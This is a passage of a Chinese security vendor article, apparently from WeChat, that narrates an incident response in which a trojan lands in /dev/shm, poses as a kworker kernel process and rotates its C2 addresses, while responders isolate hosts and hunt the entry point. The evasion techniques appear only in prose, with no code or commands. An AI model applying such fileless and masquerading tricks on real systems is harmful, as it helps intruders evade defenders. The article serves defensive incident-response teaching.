!important;visibility: visible;"><img class="rich_pages wxw-img" data-ratio="0.4694444" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);vertical-align: middle;visibility: visible;overflow-wrap: break-word !important;background-color: rgb(238, 237, 235) !important;background-size: 22px !important;background-position: center center !important;background-repeat: no-repeat !important;height: 300.097px !important;width: 637px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=447a2fa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAwCdWb0ictTl1iaGuibRQJ9YHiapqTmtcOQ1osl7iaOq0seHUzedibDhHfKkA%2F640%3Fwx_fmt%3Dpng"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">从关联的事件详情页中，可以看到除了木马被下载之外，木马已经被拉起并外联了。木马本身下载位置在共享内存/dev/shm中，用以躲避文件落盘可能触发的扫描行为。同时木马在启动时还进行了伪装，假装为[kworker/14:1] 内核进程来增加人员登录时的排查难度。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.4768519" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3d1c1be3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAXkfT1cxsoIg5HdnDOOKWEIK6qicLiaJ6FLmTUUOPZXgYNgXWtibRJldAw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><blockquote data-type="2" data-url="" data-author-name="" data-content-utf8-length="33" data-source-title="" style="margin: 1em 0px;padding: 4px 0px 0px 10px;outline: 0px;border-left: 3px solid rgb(219, 219, 219);color: rgba(0, 0, 0, 0.5);font-size: 15px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">无文件执行 -- 利用共享内存的木马执行，不触发文件创建/落盘检测</section></section></blockquote><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.4722222" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=60519a08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBA1reaN8LWia04CP1KcMn1ThPqbzFqdyw0iaBJSsLaMmHjABUJO8xV3MxA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><blockquote data-type="2" data-url="" data-author-name="" data-content-utf8-length="45" data-source-title="" style="margin: 1em 0px;padding: 4px 0px 0px 10px;outline: 0px;border-left: 3px solid rgb(219, 219, 219);color: rgba(0, 0, 0, 0.5);font-size: 15px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">伪装内核进程 -- 执行后的进程修改自身命令行，伪装成内核进程的形式，尝试绕开安全人员排查</section></section></blockquote><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">看到木马已经被拉起之后，应急小组立刻组织值班人员和后备人员登录机器进行排查，按照应急处置流程固定证据并进行排查止损，确定受损范围。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 18px;">定损</span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">登录机器后，需要进一步排查是否存在驻留，这时杀伤链告警就起到了很大的作用。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">从生成的杀伤链告警来看，攻击者尚处于刚刚进入系统，还在下载赋权木马的阶段。除了木马本身，尚未见到在crontab、systemd service、bashrc等常见驻留地方的写入和变更。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">因此处置人员立刻用cgroup隔离了相关的木马。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="538" data-cropsely1="0" data-cropsely2="399" data-ratio="0.47265625" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 578px !important;visibility: visible !important;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=565c2b5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAS77FhziaOMSDpcPtQwhLHaYUO9lyeHJ7NC3gGhlmazYL8YvsSUefRNQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><blockquote data-type="2" data-url="" data-author-name="" data-content-utf8-length="40" data-source-title="" style="margin: 1em 0px;padding: 4px 0px 0px 10px;outline: 0px;border-left: 3px solid rgb(219, 219, 219);color: rgba(0, 0, 0, 0.5);font-size: 15px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">杀伤链告警，仅有下载赋权，没有驻留节点和行为</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">创建的只有日志文件，没有驻留相关文件</p></section></section></blockquote><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 18px;">对抗</span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">当时安全人员长出一口气，认为剩下的就是翻看服务日志，排查可能的来源和攻击入口，然而事情并非如此简单。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 451.5px;border-width: 4px;border-style: solid;border-color: white;height: auto;display: inline-block;line-height: 0;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;"><img class="rich_pages wxw-img" data-ratio="0.741688" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 443.5px;visibility: visible !important;" data-type="png" data-w="782" src="https://wechat2rss.xlab.app/img-proxy/?k=19d8d1f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAvrTibvzp2iaRNlTDhpoicwphA0yVHmDib8bLfBhah2A2q2ichQ2JxUWiazpA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">在大部分应急小组成员翻看日志的时候，一位处置人员在研究事件入侵时却通过实时事件归并看到了全新的告警和全新的C2地址。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.4731481" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c529bf0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAZLMweTdKhUaniatYA8sagOibLePzRuCrVyXBciazqKvRnwSU3AcxeibRMQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.4722222" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a910917a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBATIz8icat8Dziaic3pYHBJANicxl15elD9aGMjyPWlJZB11BeF8j1sAH5Og%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><blockquote data-type="2" data-url="" data-author-name="" data-content-utf8-length="41" data-source-title="" style="margin: 1em 0px;padding: 4px 0px 0px 10px;outline: 0px;border-left: 3px solid rgb(219, 219, 219);color: rgba(0, 0, 0, 0.5);font-size: 15px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">C2和所下载的文件名已经更换成了__databus__00000000xxx的形式</section></section></blockquote><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">应急小组立刻警觉了起来，攻击者还在实时入侵！</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 451.5px;border-width: 4px;border-style: solid;border-color: white;height: auto;display: inline-block;line-height: 0;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;"><img class="rich_pages wxw-img" data-ratio="0.7487179" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 443.5px;visibility: visible !important;" data-type="png" data-w="780" src="https://wechat2rss.xlab.app/img-proxy/?k=5ad65453&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAHu88o8KxGicw5Swicnicvo488fTl44HGiaZlm1dic2E31FOCwdcGz5QAwFA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">于是立刻分出一个人进行机器防御，根据告警实时关闭和查杀木马；另有专人紧急联系业务，在获得许可后进行网络隔离，关闭该机器对外网访问能力。断网效果很显著，一段时间内，入侵者没有再次触发其他告警。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 451.5px;border-width: 4px;border-style: solid;border-color: white;height: auto;display: inline-block;line-height: 0;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;"><img class="rich_pages wxw-img" data-ratio="0.8009889" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);vertical-align: middle;overflow-wrap: break-word !important;background-color: rgb(238, 237, 235) !important;background-size: 22px !important;background-position: center center !important;background-repeat: no-repeat !important;height: 356.037px !important;width: 444px !important;" data-type="png" data-w="809" src="https://wechat2rss.xlab.app/img-proxy/?k=3d62030c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAH04lZTPV8CZibtGpvHnAJfPsL149P1RHxTSOcr0fmPOxNuSEicQyACjw%2F640%3Fwx_fmt%3Dpng"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">在大家再次觉得事情平息时，监控事件和告警的同学再一次提醒大家，通过“实时事件归并”功能发现另一台机器上也被入侵了！</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.475" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);vertical-align: middle;overflow-wrap: break-word !important;background-color: rgb(238, 237, 235) !important;background-size: 22px !important;background-position: center center !important;background-repeat: no-repeat !important;height: 303.625px !important;width: 637px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5b924ebf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAuLFDC1GOnhm64N4ltdvuoibIsvcEzWYaavSaTIcdym8hWYgiaiaHuO8ww%2F640%3Fwx_fmt%3Dpng"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">此时应急人员不得不再次分兵，进行后门查杀，并写了/dev/shm下的专杀脚本出来，避免后续同业务其它机器被再次种马。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 451.5px;border-width: 4px;border-style: solid;border-color: white;height: auto;display: inline-block;line-height: 0;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;"><img class="rich_pages wxw-img" data-ratio="0.7472284" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 443.5px;visibility: visible !important;" data-type="png" data-w="902" src="https://wechat2rss.xlab.app/img-proxy/?k=59811921&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAt2XQHgmJYzd1jcFkDnjn45ahGmu1h51XibMq3tibibIVqRBONyO1IChWg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">此时应急人员已经意识到了，当前就是在和嚣张的入侵者进行抢时间比赛，应急人员早一点找到真实攻击入口，就能赶在因为分兵防守导致人力枯竭之前结束这场战斗。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 18px;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">利用RASP排查入口</span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 